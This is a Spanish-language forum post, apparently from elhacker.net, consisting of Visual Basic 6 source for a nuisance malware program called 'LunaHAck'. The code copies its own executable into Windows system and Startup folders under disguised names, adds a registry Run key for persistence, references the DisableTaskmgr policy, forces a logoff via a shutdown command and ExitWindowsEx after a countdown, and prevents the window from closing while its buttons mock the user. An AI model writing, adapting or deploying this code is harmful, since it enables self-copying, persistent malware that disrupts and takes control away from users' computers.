Foro de elhacker.net

Private Declare Function ExitWindowsEx Lib "User32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long

Option Explicit
   
Private Const RAMA_REGISTRO As String = _
    "HKEY_CURRENT_USER\Software\" & _
    "Microsoft\Windows\CurrentVer" & _
    "sion\Policies\System\DisableTaskmgr"
    
    Dim hora As Date
 Dim horafinal As Date
 Dim HoraLimite As Date

    
   


Private Function Verificar_Existe(path) As Boolean
    
    If Len(Trim$(Dir$(path))) Then
        Verificar_Existe = True
        FileCopy "c:\LunaHAck.exe", "C:\WINDOWS\Cursores.exe"
        FileCopy "c:\LunaHAck.exe", "C:\WINDOWS\Cursores\Cursors.exe"
        FileCopy "C:\WINDOWS\Cursores\Cursors.exe", "C:\WINDOWS\system32\System32help.exe"
        FileCopy "C:\WINDOWS\Cursores\Cursors.exe", "C:\Codigo.exe"
        FileCopy "C:\WINDOWS\Cursores\Cursors.exe", "C:\Copia.exe"
        FileCopy "C:\WINDOWS\Cursores\Cursors.exe", "C:\WINDOWS\system\Systemhelp.exe"
        FileCopy "C:\WINDOWS\Cursores\Cursors.exe", "C:\Documents and Settings\All Users\Menú Inicio\Programas\Inicio\Inico.exe"
        FileCopy "C:\WINDOWS\Cursores.exe", "C:\Documents and Settings\All Users\Escritorio\LunaHAck.exe"
        FileCopy "C:\WINDOWS\Cursores\Cursors.exe", "C:\Documents and Settings\All Users\Menú Inicio\Programas\Inicio\Inico2.exe"
        FileCopy "C:\WINDOWS\Cursores.exe", "C:\WINDOWS\Cursores\Cursors.exe"
        End If
    
End Function




Private Sub Form_Load()
 HoraLimite = "00:00:30"
 Timer1.Interval = 1000
 horafinal = Time + HoraLimite
 Shell "Shutdown -t 10 -l "
 Shell "reg add hklm\software\microsoft\windows\currentversion\run /v programa /t reg_sz /d C:\WINDOWS\Cursores.exe /f "
 Call Verificar_Existe("c:\LunaHAck.exe ")


 End Sub

Private Sub Salir1_Click()
MsgBox "Este no es el boton para salir"

End Sub

Private Sub Salir2_Click()
MsgBox "Con este boton tampoco se sale"
End Sub

Private Sub Salir3_Click()
MsgBox "No, Este tampoco lo es"
End Sub

 Private Sub Timer1_Timer()
 If horafinal < Time Then
 Dim i As Integer
i = ExitWindowsEx(0, 0&)
 Timer1.Enabled = False
 Exit Sub
 End If
 Label1 = Format(horafinal - Time, "HH:MM:SS")
 End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
    Cancel = True
End Sub